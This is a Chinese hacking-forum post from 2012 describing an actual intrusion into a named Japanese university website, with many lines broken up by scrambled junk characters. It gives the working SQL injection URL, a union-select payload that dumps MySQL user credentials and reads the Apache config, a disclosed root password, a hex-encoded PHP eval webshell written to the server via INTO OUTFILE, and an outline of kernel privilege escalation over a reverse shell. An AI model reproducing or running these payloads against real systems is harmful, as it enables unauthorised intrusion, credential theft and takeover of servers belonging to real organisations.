找回密码
 立即注册
查看: 3533|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
- N- E( J2 j) H- Y* E1 V
- M, l3 T! _) I, }! z6 g9 Lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1( P: i( g" u! y. v. ?+ @7 T" z; u3 B
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
- A( [/ u9 ?' t% ?( ?6 ?0 S, p9 Z* j2 F- Z" u0 J0 }; y6 n
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
1 e, ?4 H$ Y- V7 B, d9 y
: ]1 w2 n4 G9 R5 O' Z! @ : Q$ T* }* y/ Z6 K1 d( E% U( i

; d9 r+ q6 V" e2 J% s//@@datadir为数据库文件路径
6 W( Y( Q8 z. }4 ~6 j3 a0 t, b ) M+ M- D0 p" @/ s5 |

' ]; v: {' @" K7 Z( e' Y* ]//load_file读取网站容器apache的配置文件
, s- P; D3 q6 i' q* H+ j ! p0 F6 E2 }  H1 j. \& X
! W7 ^, W; b) o' m- c0 D
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
  L% ~9 e$ ?% c; L- Y' p. H' z复制代码0 H' a; L+ U. C- ?

& `' P3 E5 b* m6 t虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。9 ~% P, e5 u, m
- i: [0 w* M7 t5 E$ [* S6 s3 ~, ^
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。0 W* f- f* {% ^5 r
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html): a- s. Q+ K! j

6 y8 x9 F( w; a* U' s2 z( ^. e% J前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。4 t% Y9 j) X# L/ z- j- b% I7 T( F
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
8 y3 T6 |7 `2 h7 d7 w7 x' M6 ?- B' D7 q, h9 r2 `. I% d# T
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/* b7 x+ b& Y5 h  q( K+ e
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
2 f2 f* g- v2 q5 s( `9 J" ^直接写一句话:
5 K2 {7 Q0 [8 r" Y2 B* ^- z- u- I& r
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
. P$ J+ p% F# W. C) E$ K: w8 Z/ K. I# ^& E' ]* g* w# x9 c

+ s, v" t9 z4 k" ~0 I/ R8 I9 B8 t) Q9 a7 x
//最后的#是为了闭合前面的语句
! Z0 m  m5 V  Q+ H- B+ m$ T
+ g8 I5 O2 k. W$ V2 v3 w* q: |+ v
: m8 }: p; B$ b/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E . Z1 Z4 Y5 k+ e, e

* y1 s2 a7 w8 i) ?/ H* d; t( a- x4 |: H
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
3 I* b3 O2 C5 l# D4 Y! _9 Q5 ~ & t9 S; C+ M4 h$ T( J: X; ~9 R
. t/ N; t3 K. ^& a2 F
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 * [! t5 \3 F. |; }
. ~& z: _5 j& ]* i4 C

3 e9 q& S9 `4 F" S# a) R( [//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
: [% g% ~! V* }' P" Z' d' w* D//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ( O7 m( D# y$ L
复制代码
" g' }' A8 n, c6 S" ?0 c8 E1 G8 r+ J* o. [$ f! c. ?2 [
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有" A! t* b& H% x4 h
通过上述注入语句,我们就得到了一句话木马:- i/ @$ }* v2 I3 ?; O. ]) T* `8 C9 ~
, r$ I% A5 P) B% U5 V0 o+ h1 q

3 L4 W4 r' N6 E& Y0 p4 ^6 N7 n$ z. r8 U5 e# L: O4 q
! g) D' k1 N% k: p
' I. i  x1 Y; C
http://www.doshisha.ac.jp/english/engnews_img/aa.php
/ n8 c7 \, R5 l( ?复制代码
+ ~# k$ U0 Y5 o4 ~- E3 P' N: R, s) r* X
用菜刀连接,密码是cmd,如图所示:  h8 ]$ P+ s/ K  p3 I7 B) a
然后在命令提示行里看了一下,现在的权限是:0 y3 e0 ]+ p9 J$ X3 d( T8 g/ Z) _
2 _! d- Q# n- N6 D; N
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。' F% M; @; Z' @
好在赋权给这个文件夹不需要root,直接执行赋权语句:0 {5 U5 Y0 O0 U+ x7 O( n7 N

$ \+ k  l( k3 @2 C4 X. x8 e
7 N+ @" Y4 x% L" K+ q% ^% w7 |+ F: N

; R+ x1 @7 U3 T& t- x' S* Q$ h" D  Q6 d! B( R( ~
chmod +x /tmp/
& \5 p: d& M5 r5 W复制代码2 z! Q# m9 V' S5 o  F( P

- `2 `1 W' [! p5 X在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行$ i* y4 W8 N# c2 B! }
然后就查了一下内核版本:
# W  |" n8 i$ j$ E. ?8 X  C8 D/ P9 Q

: z, G; }8 {7 h$ R$ e: B8 |6 X' j+ O3 T9 H  h4 S  S! p
/ K9 i3 G% s5 }( Z& m
4 X+ J. T+ G  Y& U
uname-a
& {! B" i) C8 b7 x+ l " Q; v# r3 }, D
. l; i5 b0 C; R7 _8 s( x0 k: \
//其实lsb_release -a
) r. v& }- g. B1 J+ T) J9 [4 f复制代码
, i# Y2 v' l0 W& g) H
) L/ q7 C; k1 y2 ?4 [+ d# o( P* w如图所示:
8 M  ~  Q) `" B# V" }* p4 z6 s' R2 N3 N: F8 N6 J; v0 M
内核版本:linux mainz1 2.6.28-194.e15
, y4 t" q% W, N! n* @4 ?! h: S& i系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)  b/ \. P' V& t5 s9 e$ Y
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹+ H6 M' c( |5 C
" V% a- ?7 t; X: R/ n* c4 D$ l, A- X" h) ?
然后给予执行权限& X2 ]9 x! D/ ^# R' Z$ B
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样0 p! I& p7 L! z! V
4 z% s* y2 x8 Y5 t
( y: j  B! i5 d1 K
  `& s' i; E. K7 M

" T! m* i" |0 E
. ]4 o7 b. M" Y  J, jchmod +x /tmp/2.6.18-194
5 b  E) c$ b9 ]; V) W复制代码 然后直接执行!~
: n; o# h5 j* G9 a1 Y) b+ G& [1 ?
% s: E* f3 r( l总结:
9 Z: u- w% g* ~" m  E3 f这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了! l4 D( c2 B: A5 y8 l! e
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root  @) _- j" K& d6 P2 ~3 s1 c
7 j6 R0 Z. _1 x: i, N1 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表